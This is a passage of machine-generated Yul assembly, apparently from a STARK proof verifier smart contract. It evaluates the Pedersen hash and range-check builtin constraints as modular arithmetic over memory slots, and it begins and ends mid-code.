val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[124] + coefficients[125] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[124]*/ mload(0x13c0),
mulmod(/*coefficients[125]*/ mload(0x13e0),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash2/ec_subset_sum/add_points/x: column11_row0 * column11_row0 - pedersen__hash2__ec_subset_sum__bit_0 * (column9_row0 + pedersen__points__x + column9_row1).
let val := addmod(
mulmod(/*column11_row0*/ mload(0x2fe0), /*column11_row0*/ mload(0x2fe0), PRIME),
sub(
PRIME,
mulmod(
/*intermediate_value/pedersen/hash2/ec_subset_sum/bit_0*/ mload(0x4200),
addmod(
addmod(
/*column9_row0*/ mload(0x2ec0),
/*periodic_column/pedersen/points/x*/ mload(0x0),
PRIME),
/*column9_row1*/ mload(0x2ee0),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[126] + coefficients[127] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[126]*/ mload(0x1400),
mulmod(/*coefficients[127]*/ mload(0x1420),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash2/ec_subset_sum/add_points/y: pedersen__hash2__ec_subset_sum__bit_0 * (column10_row0 + column10_row1) - column11_row0 * (column9_row0 - column9_row1).
let val := addmod(
mulmod(
/*intermediate_value/pedersen/hash2/ec_subset_sum/bit_0*/ mload(0x4200),
addmod(/*column10_row0*/ mload(0x2f60), /*column10_row1*/ mload(0x2f80), PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column11_row0*/ mload(0x2fe0),
addmod(/*column9_row0*/ mload(0x2ec0), sub(PRIME, /*column9_row1*/ mload(0x2ee0)), PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[128] + coefficients[129] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[128]*/ mload(0x1440),
mulmod(/*coefficients[129]*/ mload(0x1460),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash2/ec_subset_sum/copy_point/x: pedersen__hash2__ec_subset_sum__bit_neg_0 * (column9_row1 - column9_row0).
let val := mulmod(
/*intermediate_value/pedersen/hash2/ec_subset_sum/bit_neg_0*/ mload(0x4220),
addmod(/*column9_row1*/ mload(0x2ee0), sub(PRIME, /*column9_row0*/ mload(0x2ec0)), PRIME),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[130] + coefficients[131] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[130]*/ mload(0x1480),
mulmod(/*coefficients[131]*/ mload(0x14a0),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash2/ec_subset_sum/copy_point/y: pedersen__hash2__ec_subset_sum__bit_neg_0 * (column10_row1 - column10_row0).
let val := mulmod(
/*intermediate_value/pedersen/hash2/ec_subset_sum/bit_neg_0*/ mload(0x4220),
addmod(/*column10_row1*/ mload(0x2f80), sub(PRIME, /*column10_row0*/ mload(0x2f60)), PRIME),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[132] + coefficients[133] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[132]*/ mload(0x14c0),
mulmod(/*coefficients[133]*/ mload(0x14e0),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash2/copy_point/x: column9_row256 - column9_row255.
let val := addmod(
/*column9_row256*/ mload(0x2f20),
sub(PRIME, /*column9_row255*/ mload(0x2f00)),
PRIME)
// Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2).
// val *= numerators[5].
val := mulmod(val, mload(0x4d40), PRIME)
// Denominator: point^(trace_length / 256) - 1.
// val *= denominator_invs[12].
val := mulmod(val, mload(0x4860), PRIME)
// res += val * (coefficients[134] + coefficients[135] * adjustments[11]).
res := addmod(res,
mulmod(val,
add(/*coefficients[134]*/ mload(0x1500),
mulmod(/*coefficients[135]*/ mload(0x1520),
/*adjustments[11]*/mload(0x4f60),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash2/copy_point/y: column10_row256 - column10_row255.
let val := addmod(
/*column10_row256*/ mload(0x2fc0),
sub(PRIME, /*column10_row255*/ mload(0x2fa0)),
PRIME)
// Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2).
// val *= numerators[5].
val := mulmod(val, mload(0x4d40), PRIME)
// Denominator: point^(trace_length / 256) - 1.
// val *= denominator_invs[12].
val := mulmod(val, mload(0x4860), PRIME)
// res += val * (coefficients[136] + coefficients[137] * adjustments[11]).
res := addmod(res,
mulmod(val,
add(/*coefficients[136]*/ mload(0x1540),
mulmod(/*coefficients[137]*/ mload(0x1560),
/*adjustments[11]*/mload(0x4f60),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash2/init/x: column9_row0 - pedersen/shift_point.x.
let val := addmod(
/*column9_row0*/ mload(0x2ec0),
sub(PRIME, /*pedersen/shift_point.x*/ mload(0x240)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[138] + coefficients[139] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[138]*/ mload(0x1580),
mulmod(/*coefficients[139]*/ mload(0x15a0),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash2/init/y: column10_row0 - pedersen/shift_point.y.
let val := addmod(
/*column10_row0*/ mload(0x2f60),
sub(PRIME, /*pedersen/shift_point.y*/ mload(0x260)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[140] + coefficients[141] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[140]*/ mload(0x15c0),
mulmod(/*coefficients[141]*/ mload(0x15e0),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash3/ec_subset_sum/booleanity_test: pedersen__hash3__ec_subset_sum__bit_0 * (pedersen__hash3__ec_subset_sum__bit_0 - 1).
let val := mulmod(
/*intermediate_value/pedersen/hash3/ec_subset_sum/bit_0*/ mload(0x4240),
addmod(
/*intermediate_value/pedersen/hash3/ec_subset_sum/bit_0*/ mload(0x4240),
sub(PRIME, 1),
PRIME),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[142] + coefficients[143] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[142]*/ mload(0x1600),
mulmod(/*coefficients[143]*/ mload(0x1620),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash3/ec_subset_sum/bit_extraction_end: column16_row0.
let val := /*column16_row0*/ mload(0x31a0)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 256) - trace_generator^(63 * trace_length / 64).
// val *= denominator_invs[10].
val := mulmod(val, mload(0x4820), PRIME)
// res += val * (coefficients[144] + coefficients[145] * adjustments[10]).
res := addmod(res,
mulmod(val,
add(/*coefficients[144]*/ mload(0x1640),
mulmod(/*coefficients[145]*/ mload(0x1660),
/*adjustments[10]*/mload(0x4f40),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash3/ec_subset_sum/zeros_tail: column16_row0.
let val := /*column16_row0*/ mload(0x31a0)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= denominator_invs[11].
val := mulmod(val, mload(0x4840), PRIME)
// res += val * (coefficients[146] + coefficients[147] * adjustments[10]).
res := addmod(res,
mulmod(val,
add(/*coefficients[146]*/ mload(0x1680),
mulmod(/*coefficients[147]*/ mload(0x16a0),
/*adjustments[10]*/mload(0x4f40),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash3/ec_subset_sum/add_points/slope: pedersen__hash3__ec_subset_sum__bit_0 * (column14_row0 - pedersen__points__y) - column15_row0 * (column13_row0 - pedersen__points__x).
let val := addmod(
mulmod(
/*intermediate_value/pedersen/hash3/ec_subset_sum/bit_0*/ mload(0x4240),
addmod(
/*column14_row0*/ mload(0x3100),
sub(PRIME, /*periodic_column/pedersen/points/y*/ mload(0x20)),
PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column15_row0*/ mload(0x3180),
addmod(
/*column13_row0*/ mload(0x3060),
sub(PRIME, /*periodic_column/pedersen/points/x*/ mload(0x0)),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[148] + coefficients[149] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[148]*/ mload(0x16c0),
mulmod(/*coefficients[149]*/ mload(0x16e0),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash3/ec_subset_sum/add_points/x: column15_row0 * column15_row0 - pedersen__hash3__ec_subset_sum__bit_0 * (column13_row0 + pedersen__points__x + column13_row1).
let val := addmod(
mulmod(/*column15_row0*/ mload(0x3180), /*column15_row0*/ mload(0x3180), PRIME),
sub(
PRIME,
mulmod(
/*intermediate_value/pedersen/hash3/ec_subset_sum/bit_0*/ mload(0x4240),
addmod(
addmod(
/*column13_row0*/ mload(0x3060),
/*periodic_column/pedersen/points/x*/ mload(0x0),
PRIME),
/*column13_row1*/ mload(0x3080),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[150] + coefficients[151] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[150]*/ mload(0x1700),
mulmod(/*coefficients[151]*/ mload(0x1720),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash3/ec_subset_sum/add_points/y: pedersen__hash3__ec_subset_sum__bit_0 * (column14_row0 + column14_row1) - column15_row0 * (column13_row0 - column13_row1).
let val := addmod(
mulmod(
/*intermediate_value/pedersen/hash3/ec_subset_sum/bit_0*/ mload(0x4240),
addmod(/*column14_row0*/ mload(0x3100), /*column14_row1*/ mload(0x3120), PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column15_row0*/ mload(0x3180),
addmod(/*column13_row0*/ mload(0x3060), sub(PRIME, /*column13_row1*/ mload(0x3080)), PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[152] + coefficients[153] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[152]*/ mload(0x1740),
mulmod(/*coefficients[153]*/ mload(0x1760),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash3/ec_subset_sum/copy_point/x: pedersen__hash3__ec_subset_sum__bit_neg_0 * (column13_row1 - column13_row0).
let val := mulmod(
/*intermediate_value/pedersen/hash3/ec_subset_sum/bit_neg_0*/ mload(0x4260),
addmod(/*column13_row1*/ mload(0x3080), sub(PRIME, /*column13_row0*/ mload(0x3060)), PRIME),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[154] + coefficients[155] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[154]*/ mload(0x1780),
mulmod(/*coefficients[155]*/ mload(0x17a0),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash3/ec_subset_sum/copy_point/y: pedersen__hash3__ec_subset_sum__bit_neg_0 * (column14_row1 - column14_row0).
let val := mulmod(
/*intermediate_value/pedersen/hash3/ec_subset_sum/bit_neg_0*/ mload(0x4260),
addmod(/*column14_row1*/ mload(0x3120), sub(PRIME, /*column14_row0*/ mload(0x3100)), PRIME),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[156] + coefficients[157] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[156]*/ mload(0x17c0),
mulmod(/*coefficients[157]*/ mload(0x17e0),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash3/copy_point/x: column13_row256 - column13_row255.
let val := addmod(
/*column13_row256*/ mload(0x30c0),
sub(PRIME, /*column13_row255*/ mload(0x30a0)),
PRIME)
// Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2).
// val *= numerators[5].
val := mulmod(val, mload(0x4d40), PRIME)
// Denominator: point^(trace_length / 256) - 1.
// val *= denominator_invs[12].
val := mulmod(val, mload(0x4860), PRIME)
// res += val * (coefficients[158] + coefficients[159] * adjustments[11]).
res := addmod(res,
mulmod(val,
add(/*coefficients[158]*/ mload(0x1800),
mulmod(/*coefficients[159]*/ mload(0x1820),
/*adjustments[11]*/mload(0x4f60),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash3/copy_point/y: column14_row256 - column14_row255.
let val := addmod(
/*column14_row256*/ mload(0x3160),
sub(PRIME, /*column14_row255*/ mload(0x3140)),
PRIME)
// Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2).
// val *= numerators[5].
val := mulmod(val, mload(0x4d40), PRIME)
// Denominator: point^(trace_length / 256) - 1.
// val *= denominator_invs[12].
val := mulmod(val, mload(0x4860), PRIME)
// res += val * (coefficients[160] + coefficients[161] * adjustments[11]).
res := addmod(res,
mulmod(val,
add(/*coefficients[160]*/ mload(0x1840),
mulmod(/*coefficients[161]*/ mload(0x1860),
/*adjustments[11]*/mload(0x4f60),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash3/init/x: column13_row0 - pedersen/shift_point.x.
let val := addmod(
/*column13_row0*/ mload(0x3060),
sub(PRIME, /*pedersen/shift_point.x*/ mload(0x240)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[162] + coefficients[163] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[162]*/ mload(0x1880),
mulmod(/*coefficients[163]*/ mload(0x18a0),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash3/init/y: column14_row0 - pedersen/shift_point.y.
let val := addmod(
/*column14_row0*/ mload(0x3100),
sub(PRIME, /*pedersen/shift_point.y*/ mload(0x260)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[164] + coefficients[165] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[164]*/ mload(0x18c0),
mulmod(/*coefficients[165]*/ mload(0x18e0),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input0_value0: column17_row7 - column4_row0.
let val := addmod(/*column17_row7*/ mload(0x32e0), sub(PRIME, /*column4_row0*/ mload(0x2cc0)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[166] + coefficients[167] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[166]*/ mload(0x1900),
mulmod(/*coefficients[167]*/ mload(0x1920),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input0_value1: column17_row135 - column8_row0.
let val := addmod(
/*column17_row135*/ mload(0x3500),
sub(PRIME, /*column8_row0*/ mload(0x2e60)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[168] + coefficients[169] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[168]*/ mload(0x1940),
mulmod(/*coefficients[169]*/ mload(0x1960),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input0_value2: column17_row263 - column12_row0.
let val := addmod(
/*column17_row263*/ mload(0x35c0),
sub(PRIME, /*column12_row0*/ mload(0x3000)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[170] + coefficients[171] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[170]*/ mload(0x1980),
mulmod(/*coefficients[171]*/ mload(0x19a0),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input0_value3: column17_row391 - column16_row0.
let val := addmod(
/*column17_row391*/ mload(0x3620),
sub(PRIME, /*column16_row0*/ mload(0x31a0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[172] + coefficients[173] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[172]*/ mload(0x19c0),
mulmod(/*coefficients[173]*/ mload(0x19e0),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input0_addr: column17_row134 - (column17_row38 + 1).
let val := addmod(
/*column17_row134*/ mload(0x34e0),
sub(PRIME, addmod(/*column17_row38*/ mload(0x33e0), 1, PRIME)),
PRIME)
// Numerator: point - trace_generator^(128 * (trace_length / 128 - 1)).
// val *= numerators[6].
val := mulmod(val, mload(0x4d60), PRIME)
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x48a0), PRIME)
// res += val * (coefficients[174] + coefficients[175] * adjustments[13]).
res := addmod(res,
mulmod(val,
add(/*coefficients[174]*/ mload(0x1a00),
mulmod(/*coefficients[175]*/ mload(0x1a20),
/*adjustments[13]*/mload(0x4fa0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/init_addr: column17_row6 - initial_pedersen_addr.
let val := addmod(
/*column17_row6*/ mload(0x32c0),
sub(PRIME, /*initial_pedersen_addr*/ mload(0x280)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x4740), PRIME)
// res += val * (coefficients[176] + coefficients[177] * adjustments[4]).
res := addmod(res,
mulmod(val,
add(/*coefficients[176]*/ mload(0x1a40),
mulmod(/*coefficients[177]*/ mload(0x1a60),
/*adjustments[4]*/mload(0x4e80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input1_value0: column17_row71 - column4_row256.
let val := addmod(
/*column17_row71*/ mload(0x3440),
sub(PRIME, /*column4_row256*/ mload(0x2d00)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[178] + coefficients[179] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[178]*/ mload(0x1a80),
mulmod(/*coefficients[179]*/ mload(0x1aa0),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input1_value1: column17_row199 - column8_row256.
let val := addmod(
/*column17_row199*/ mload(0x3580),
sub(PRIME, /*column8_row256*/ mload(0x2ea0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[180] + coefficients[181] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[180]*/ mload(0x1ac0),
mulmod(/*coefficients[181]*/ mload(0x1ae0),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input1_value2: column17_row327 - column12_row256.
let val := addmod(
/*column17_row327*/ mload(0x3600),
sub(PRIME, /*column12_row256*/ mload(0x3040)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[182] + coefficients[183] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[182]*/ mload(0x1b00),
mulmod(/*coefficients[183]*/ mload(0x1b20),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input1_value3: column17_row455 - column16_row256.
let val := addmod(
/*column17_row455*/ mload(0x3680),
sub(PRIME, /*column16_row256*/ mload(0x31e0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[184] + coefficients[185] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[184]*/ mload(0x1b40),
mulmod(/*coefficients[185]*/ mload(0x1b60),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input1_addr: column17_row70 - (column17_row6 + 1).
let val := addmod(
/*column17_row70*/ mload(0x3420),
sub(PRIME, addmod(/*column17_row6*/ mload(0x32c0), 1, PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x48a0), PRIME)
// res += val * (coefficients[186] + coefficients[187] * adjustments[14]).
res := addmod(res,
mulmod(val,
add(/*coefficients[186]*/ mload(0x1b80),
mulmod(/*coefficients[187]*/ mload(0x1ba0),
/*adjustments[14]*/mload(0x4fc0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/output_value0: column17_row39 - column1_row511.
let val := addmod(
/*column17_row39*/ mload(0x3400),
sub(PRIME, /*column1_row511*/ mload(0x2c00)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[188] + coefficients[189] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[188]*/ mload(0x1bc0),
mulmod(/*coefficients[189]*/ mload(0x1be0),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/output_value1: column17_row167 - column5_row511.
let val := addmod(
/*column17_row167*/ mload(0x3560),
sub(PRIME, /*column5_row511*/ mload(0x2da0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[190] + coefficients[191] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[190]*/ mload(0x1c00),
mulmod(/*coefficients[191]*/ mload(0x1c20),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/output_value2: column17_row295 - column9_row511.
let val := addmod(
/*column17_row295*/ mload(0x35e0),
sub(PRIME, /*column9_row511*/ mload(0x2f40)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[192] + coefficients[193] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[192]*/ mload(0x1c40),
mulmod(/*coefficients[193]*/ mload(0x1c60),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/output_value3: column17_row423 - column13_row511.
let val := addmod(
/*column17_row423*/ mload(0x3660),
sub(PRIME, /*column13_row511*/ mload(0x30e0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[194] + coefficients[195] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[194]*/ mload(0x1c80),
mulmod(/*coefficients[195]*/ mload(0x1ca0),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/output_addr: column17_row38 - (column17_row70 + 1).
let val := addmod(
/*column17_row38*/ mload(0x33e0),
sub(PRIME, addmod(/*column17_row70*/ mload(0x3420), 1, PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x48a0), PRIME)
// res += val * (coefficients[196] + coefficients[197] * adjustments[14]).
res := addmod(res,
mulmod(val,
add(/*coefficients[196]*/ mload(0x1cc0),
mulmod(/*coefficients[197]*/ mload(0x1ce0),
/*adjustments[14]*/mload(0x4fc0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for rc_builtin/value: rc_builtin__value7_0 - column17_row103.
let val := addmod(
/*intermediate_value/rc_builtin/value7_0*/ mload(0x4360),
sub(PRIME, /*column17_row103*/ mload(0x34c0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x48a0), PRIME)
// res += val * (coefficients[198] + coefficients[199] * adjustments[14]).
res := addmod(res,
mulmod(val,
add(/*coefficients[198]*/ mload(0x1d00),
mulmod(/*coefficients[199]*/ mload(0x1d20),
/*adjustments[14]*/mload(0x4fc0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for rc_builtin/addr_step: column17_row230 - (column17_row102 + 1).
let val := addmod(
/*column17_row230*/ mload(0x35a0),
sub(PRIME, addmod(/*column17_row102*/ mload(0x34a0), 1, PRIME)),
PRIME)
// Numerator: point - trace_generator^(128 * (trace_length / 128 - 1)).
// val *= numerators[6].
val := mulmod(val, mload(0x4d60), PRIME)
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x48a0), PRIME)
// res += val * (coefficients[200] + coefficients[201] * adjustments[13]).
res := addmod(res,
mulmod(val,
